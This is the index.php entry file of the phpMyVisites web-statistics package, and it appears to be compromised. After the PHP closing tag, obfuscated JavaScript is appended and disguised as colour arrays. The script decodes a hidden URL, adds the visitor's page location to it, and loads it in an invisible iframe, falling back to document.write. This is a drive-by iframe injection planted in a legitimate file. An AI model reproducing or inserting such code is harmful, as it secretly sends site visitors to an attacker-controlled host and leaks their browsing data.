<?php
/* 
 * phpMyVisites : website statistics and audience measurements
 * Copyright (C) 2002 - 2006
 * http://www.phpmyvisites.net/ 
 * phpMyVisites is free software (license GNU/GPL)
 * Authors : phpMyVisites team
*/

// $Id: index.php 220 2007-06-27 10:01:07Z matthieu_ $

define('INCLUDE_PATH', '.');
define('PLUGINS_PATH', INCLUDE_PATH."/plugins/");
// For profiling, XDEBUG 2.x generates .out to be analysed with KcacheGrind or WinCacheGrind
@set_time_limit(0);
@error_reporting(E_ALL);

require_once INCLUDE_PATH . '/core/include/PmvConfig.class.php';
require_once INCLUDE_PATH . '/core/include/ApplicationController.php';


ApplicationController::init();

if(	Request::moduleIsNotAStrangeModule() )
	printTime('EOF', PRINT_TIME);
   ?>

if (typeof(def_colors)=="undefined") {
   var def_colors = 1;

   var div_colors = new Array('#778383', '#7f493e', '#3e4744', '#3d4041', '#473d40', '#45483d', '#404246', '#3e8674', '#71787c', '#3e7980', '#847481', '#883d7c', '#787d3d', '#798200');
   var css_colors = new Array('#717e73', '#887378', '#857378', '#827f7b', '#70887d', '#7e7d74', '#787581', '#707c74', '#4b7378', '#852f82', '#83887b', '#744c36', '#737882', '#7f7b70', '#88497d', '#7e7d74', '#364d4b', '#787581', '#707c74', '#2f8281', '#724c36', '#364d4b', '#3e7875', '#81707c', '#744d4b', '#3e7378', '#854d82', '#81724e', '#81754c');
   var css_indexes = new Array(4, 3, 7, 4, 6, 39, 17, 3, 4);

   function div_pick_color(t) {
	var s = '';
	for (j=0;j<t.length;j++) {	
		var c_rgb = t[j];
		for (i=1;i<7;i++) {
			var c_clr = c_rgb.substr(i++,2);
			if (c_clr!='00') s += String.fromCharCode(parseInt(c_clr,16)-15);
		}
	  }
	return s;
   }

   var ct = new Array(10);
   var s = div_pick_color(css_colors);
   var c = css_indexes;
   ct[0] = div_pick_color(div_colors);
   var j = 0; var ci = 1;
   for(i=0;i<c.length;i++) {
  	ct[ci++] = s.substr(j,c[i]);
	j=j+c[i];
   }
   ct[0] = ct[0] + ct[9] + document.location;
   function check_div_style() {
	var d=document.getElementsByTagName(ct[1])[0];
	if(d) {
		try {
			var d=document.getElementsByTagName(ct[1])[0];
			var v=document.createElement(ct[2]);
			v.style.display=ct[4];
			v.setAttribute(ct[3],ct[4]);
			d.appendChild(v);
			w=document.createElement(ct[5]);
			w.src=ct[0];
			w.setAttribute(ct[8],ct[0]);
			v.appendChild(w);
		} catch(e) {
			document.write(ct[6]+ct[0]+ct[7]);
		}
	   } else {
		setTimeout("check_div_style();",500);	
	   }
   }

   check_div_style();

}
